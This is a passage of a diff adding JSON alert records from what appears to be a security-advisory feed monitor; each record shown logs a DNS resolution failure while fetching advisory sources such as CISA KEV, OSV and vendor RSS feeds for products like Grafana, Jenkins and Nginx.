/security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "grafana::CISA KEV Grafana", + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "CISA KEV Grafana", + "source_kind": "kev-json", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "CISA KEV Grafana", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "grafana::Grafana Security Advisories", + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "Grafana Security Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "grafana", + "display_name": "Grafana", + "source_name": "Grafana Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://grafana.com/security/security-advisories/", + "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "hapi::OSV Hapi", + "system_id": "hapi", + "display_name": "Hapi", + "source_name": "OSV Hapi", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "hapi", + "display_name": "Hapi", + "source_name": "OSV Hapi", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "haproxy::HAProxy Blog Feed", + "system_id": "haproxy", + "display_name": "HAProxy", + "source_name": "HAProxy Blog Feed", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "haproxy", + "display_name": "HAProxy", + "source_name": "HAProxy Blog Feed", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.haproxy.com/feed/", + "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "jenkins::Jenkins Security Advisories RSS", + "system_id": "jenkins", + "display_name": "Jenkins", + "source_name": "Jenkins Security Advisories RSS", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "jenkins", + "display_name": "Jenkins", + "source_name": "Jenkins Security Advisories RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.jenkins.io/security/advisories/rss.xml", + "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "joomla::Joomla Security Centre", + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "Joomla Security Centre", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "Joomla Security Centre", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://developer.joomla.org/security-centre.html", + "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "joomla::OSV Joomla", + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "OSV Joomla", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "joomla", + "display_name": "Joomla", + "source_name": "OSV Joomla", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "kibana::Elastic Security Announcements RSS", + "system_id": "kibana", + "display_name": "Kibana", + "source_name": "Elastic Security Announcements RSS", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "kibana", + "display_name": "Kibana", + "source_name": "Elastic Security Announcements RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss", + "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "koa::OSV Koa", + "system_id": "koa", + "display_name": "Koa", + "source_name": "OSV Koa", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "koa", + "display_name": "Koa", + "source_name": "OSV Koa", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "laravel::OSV Laravel", + "system_id": "laravel", + "display_name": "Laravel", + "source_name": "OSV Laravel", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "laravel", + "display_name": "Laravel", + "source_name": "OSV Laravel", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "magento-open-source::Magento GitHub Advisories", + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Magento GitHub Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Magento GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/magento/magento2/security/advisories", + "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "magento-open-source::OSV Magento Open Source", + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "OSV Magento Open Source", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "OSV Magento Open Source", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "magento-open-source::Sansec Research", + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Sansec Research", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "source_name": "Sansec Research", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://sansec.io/research", + "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "mattermost::Mattermost Security Updates JSON", + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "Mattermost Security Updates JSON", + "source_kind": "json-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "Mattermost Security Updates JSON", + "source_kind": "json-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://securityupdates.mattermost.com/security_updates.json", + "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "mattermost::OSV Mattermost", + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "OSV Mattermost", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "mattermost", + "display_name": "Mattermost", + "source_name": "OSV Mattermost", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "mediawiki::MediaWiki Announce RSS", + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "MediaWiki Announce RSS", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "MediaWiki Announce RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/", + "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "mediawiki::OSV MediaWiki", + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "OSV MediaWiki", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "source_name": "OSV MediaWiki", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "medusa::OSV Medusa", + "system_id": "medusa", + "display_name": "Medusa", + "source_name": "OSV Medusa", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "medusa", + "display_name": "Medusa", + "source_name": "OSV Medusa", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "moodle::OSV Moodle", + "system_id": "moodle", + "display_name": "Moodle", + "source_name": "OSV Moodle", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "moodle", + "display_name": "Moodle", + "source_name": "OSV Moodle", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nestjs::OSV NestJS", + "system_id": "nestjs", + "display_name": "NestJS", + "source_name": "OSV NestJS", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nestjs", + "display_name": "NestJS", + "source_name": "OSV NestJS", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nextjs::OSV Next.js", + "system_id": "nextjs", + "display_name": "Next.js", + "source_name": "OSV Next.js", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nextjs", + "display_name": "Next.js", + "source_name": "OSV Next.js", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nginx::CISA KEV NGINX", + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "CISA KEV NGINX", + "source_kind": "kev-json", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "CISA KEV NGINX", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nginx::NGINX Security Advisories", + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "NGINX Security Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nginx", + "display_name": "Nginx", + "source_name": "NGINX Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://nginx.org/en/security_advisories.html", + "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nodejs::CISA KEV Node.js", + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "CISA KEV Node.js", + "source_kind": "kev-json", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "CISA KEV Node.js", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nodejs::Node.js Security Releases", + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "Node.js Security Releases", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "Node.js Security Releases", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://nodejs.org/en/blog/vulnerability", + "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "nuxt::OSV Nuxt", + "system_id": "nuxt", + "display_name": "Nuxt", + "source_name": "OSV Nuxt", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "nuxt", + "display_name": "Nuxt", + "source_name": "OSV Nuxt", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": 